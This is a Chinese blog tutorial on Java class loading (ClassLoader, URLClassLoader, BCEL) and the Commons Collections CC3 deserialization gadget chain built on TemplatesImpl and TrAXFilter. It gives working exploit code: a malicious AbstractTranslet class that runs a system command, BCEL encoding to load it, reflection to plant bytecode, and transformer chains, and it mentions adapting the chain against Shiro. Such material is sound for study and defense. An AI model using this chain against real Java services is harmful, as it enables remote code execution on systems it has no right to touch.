JF4—类加载机制与CC3

类加载机制

.java.rb.groovy等文件经过对应的编译器生成.class文件(字节码形式)被加载到JVM虚拟机,这也是支持Java跨平台的重要原因。

.class文件结构可以参考/com/sun/tools/classfile/ClassFile.class中包含许多属性,如,代表Class文件标志的magic;代表Class版本的major_version;还有代表当前类、父类、接口、字段、方法等内容的。这部分可以对照IDEA的jclasslib插件学习。.class文件最终要被加载到JVM中,包括三步加载、连接(验证、准备、解析)、初始化。这里重点说一下类的加载过程。

ClassLoader

加载是通过全限定类名获取类的二进制字节流,在内存中生成一个代表类的Class对象。这一动作由类加载器ClassLoader来实现。JVM内置了三个:BootstrapClassLoader(%JAVA_HOME%/lib)、ExtClassLoader(%JRE_HOME%/lib/ext)、AppClassLoader(加载classpath下的jar包)。第一个由C++实现,后两个由Java实现,位于sun.misc.Launcher

ClassLoader使用委托模型来搜索类和资源。ClassLoader.loadClass()方法如下,其逻辑就是先判断类是否被加载过,如果没有就交给父类;如果向上委托没成功就调用findClass(),根据名称找到对应的class文件。

    protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException
    {
        synchronized (getClassLoadingLock(name)) {
            Class c = findLoadedClass(name); // 首先判断类是否已经被加载
            if (c == null) {
                long t0 = System.nanoTime();
                try {
                    if (parent != null) {
                        c = parent.loadClass(name, false); // 父类加载器不为空就先让父类处理
                    } else {
                        c = findBootstrapClassOrNull(name); // 如果父类加载器为空就调用启动类加载器BootstrapClass
                    }
                } ... 

                if (c == null) {
                    c = findClass(name); // 如果没有找到父类调用findClass查找类...
                }
            }
            if (resolve) {
                resolveClass(c);
            }
            return c;
        }
    }

上述的三种内置加载器都会从本地文件系统中加载类,但在ClassLoader的注解中有这样一段话,如下,意思是有些类可能不是来自文件,而是网络、jar/zip、数据库等,那么就需要先用defineClass()将字节数组转换成Class实例。这部分的逻辑在JVM中用C实现的

However, some classes may not originate from a file; they may originate from other sources, such as the network, or they could be constructed by an application. The method defineClass converts an array of bytes into an instance of class Class. Instances of this newly defined class can be created using Class.newInstance.

URLClassLoader

ClassLoader是一个抽象类,其中很多方法如findClass()等是没有具体实现的。其最常用的实现子类是URLClassLoader。并且它是AppClassLoader和ExtClassLoader的父类。

static class AppClassLoader extends URLClassLoader {...}
static class ExtClassLoader extends URLClassLoader {...}

URLClassLoader用于从Jar文件和URL路径下加载类和资源。它实现了findClass(),代码如下,可以看到最后还是调用defineClass()来实际处理类。但是,defineClass()只加载,并不进行对象的初始化!

    protected Class<?> findClass(final String name) throws ClassNotFoundException
    {
        try {
            return AccessController.doPrivileged(
                new PrivilegedExceptionAction<Class>() {
                    public Class run() throws ClassNotFoundException {
                        String path = name.replace('.', '/').concat(".class"); // 将类的全限定类名转换成.class文件路径
                        Resource res = ucp.getResource(path, false); // 在url中查找是否存在
                        if (res != null) {
                            try {
                                return defineClass(name, res); // 存在就加载类
                            } ...
    }

整体来说,ClassLoader的一般加载流程是:loadClass->findClass->defineClass,真正对类进行加载的是defineClass()。但defineClass是protected的,所以无法外部访问。只能找到其他对其进行调用的地方。

BCEL

在JDK中搜索ClassLoader类,除了上述的java.lang.ClassLoader还有一个com.sun.org.apache.bcel.internal.util.ClassLoader。它来自Apache commons BCEL,被包含在JDK中。这个类重写了loadClass()方法

protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;
    if((cl=(Class)classes.get(class_name)) == null) { // 如果classes哈希表中没有
      for(int i=0; i < ignored_packages.length; i++) { // ignored_packages={"java.", "javax.", "sun."}
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name); // 也就是JDK自带的类用系统加载器加载
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;
        if(class_name.indexOf("$$BCEL$$") >= 0) // 如果类名是以$$BCEL$$开头
          clazz = createClass(class_name); // 创建类
        else { // 否则从repository中加载类
          if ((clazz = repository.loadClass(class_name)) != null) { 
            clazz = modifyClass(clazz);
          } else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length); // 将类加载到内存
        } else 
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);
    return cl;
  }

BCEL.loadClass()的逻辑是如果不是JDK自带的类,就判断类名是否以$$BCEL$$开头,如果是就创建此类。创建的方法createClass()如下

  protected JavaClass createClass(String class_name) {
    int    index     = class_name.indexOf("$$BCEL$$");
    String real_name = class_name.substring(index + 8); // 取BCEL后的内容

    JavaClass clazz = null;
    try {
      byte[]      bytes  = Utility.decode(real_name, true); // 解析BCEL后的字节流
      ClassParser parser = new ClassParser(new ByteArrayInputStream(bytes), "foo");

      clazz = parser.parse();
    } ...
}

如果我们创建一个恶意类Evil3,BCEL生成$$BCEL$$字符串和加载恶意类的方式如下

JavaClass javaClass= Repository.lookupClass(Evil3.class);
String code= Utility.encode(javaClass.getBytes(),true);
System.out.println(code);

new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();

BCEL也是RCE漏洞的利用重点,但不是此文的重点,主要是延伸一下类加载机制的其他应用。接下来说回CC3

TemplatesImpl

之前的链条,比如CC6/CC1是控制一个可以执行命令的地方,那么根据类加载机制,如果可以控制一个defineClass或者loadClass的地方,就能通过构造恶意类来RCE。TemplatesImpl类的内部类TransletClassLoader重写了defineClass()

static final class TransletClassLoader extends ClassLoader {
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

TemplatesImpl的核心调用链

TemplatesImpl#getOutputProperties() ->
  TemplatesImpl#newTransformer() -> 
    TemplatesImpl#getTransletInstance() -> 
      TemplatesImpl#defineTransletClasses() -> 
        TransletClassLoader#defineClass()

从调用链的上层向下看想要执行到defineTransletClasses(),要求:(1)_name不能为null (2)_class需要为null。

进入defineTransletClasses()后想要执行到defineClass(),要求_tfactory不能为空。

public synchronized Transformer newTransformer() throws TransformerConfigurationException{
        TransformerImpl transformer;
        // getTransletInstance()
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); 
}

private Translet getTransletInstance() throws TransformerConfigurationException {
    try {
        if (_name == null) return null;
        if (_class == null) defineTransletClasses();  // defineClass
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // 实例化
        ...
}

private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

private void defineTransletClasses() throws TransformerConfigurationException {

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() { // _tfactory如果为空,该对象的方法调用getExternalExtensionsMap()就会抛出异常
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]); // defineClass
                final Class superClass = _class[i].getSuperclass();
                // 被加载的类需要为ABSTRACT_TRANSLET类型,即AbstractTranslet
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) { 
                    _transletIndex = i; // _transletIndex默认为-1
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }

                if (_transletIndex < 0) { // 如果是默认值-1在这步会抛出异常
                    ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                    throw new TransformerConfigurationException(err.toString());
                }
}

另外,前面讲到,defineClass并不进行初始化,newInstance()才会执行构造函数中的内容,所以在执行到newInstance()之前不能抛出异常,被加载的类父类需要为AbstractTranslet

那么被加载类可以构造成如下的形式,继承自AbstractTranslet

public class Evil2 extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator,
                          SerializationHandler handler) throws TransletException {}
    public Evil2() {
        super();
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe", "/c", "calc.exe"}
                    : new String[]{"/bin/bash", "-c", "open -a Calculator"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

然后将.class文件进行base64编码,传入到TemplatesImpl中,即可完成恶意类加载

byte[] bytes=new BASE64Decoder().decodeBuffer("yv66vg......");
TemplatesImpl templates=new TemplatesImpl();
Field f=templates.getClass().getDeclaredField("_bytecodes");
f.setAccessible(true);
f.set(templates,new byte[][]{bytes});
Field f1=templates.getClass().getDeclaredField("_name");
f1.setAccessible(true);
f1.set(templates,"Evil");
Field f2=templates.getClass().getDeclaredField("_tfactory");
f2.setAccessible(true);
f2.set(templates,new TransformerFactoryImpl());

templates.newTransformer();

那么理论上我们把CC6的Transformer中的内容由Runtime命令执行换成TemplatesImpl类加载即可,如下

    Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(templates), // 上述生成的templates
                new InvokerTransformer("newTransformer",null,null)
        };

        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

        Map map=new HashMap<>();
        Map expmap= TransformedMap.decorate(map,null,chainedTransformer);
        expmap.put("key","value");

但是如果和ysoserial的CC3去对比,CC3对于Transformer进行了改造,如下

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };

对应的TrAXFilter构造函数包含newTransformer()操作,InstantiateTransformer则是用来调用构造函数。

# TrAXFilter
    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

# InstantiateTransformer
public Object transform(Object input) {
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);
}

反序列化调用链一个是结合不同的第三方组件进行构造,另一个则是根据黑名单进行绕过。所以会有很多不同的组合。这也是Transformer变化的原因。

但是这个TemplatesImpl链条在攻击Shiro的时候还需要改造。因为直接用传统的Transformer+TemplatesImpl会报错:org.apache.shiro.util.UnknownClassException: Unable to load class named [ [ Lorg.apache.commons.collections.Transformer;] from the thread context。问题在于org.apache.shiro.io.ClassResolvingObjectInputStream重写了resolveClass()方法,反序列化流中不能包含非Java自身的数组。所以无法使用ChainedTransformer。需要改造成只调用InvokerTransformer的形式,搜Shiro的payload即可,不是本篇的重点。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,837评论 6 496
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,551评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,417评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,448评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,524评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,554评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,569评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,316评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,766评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,077评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,240评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,912评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,560评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,176评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,425评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,114评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,114评论 2 352

推荐阅读更多精彩内容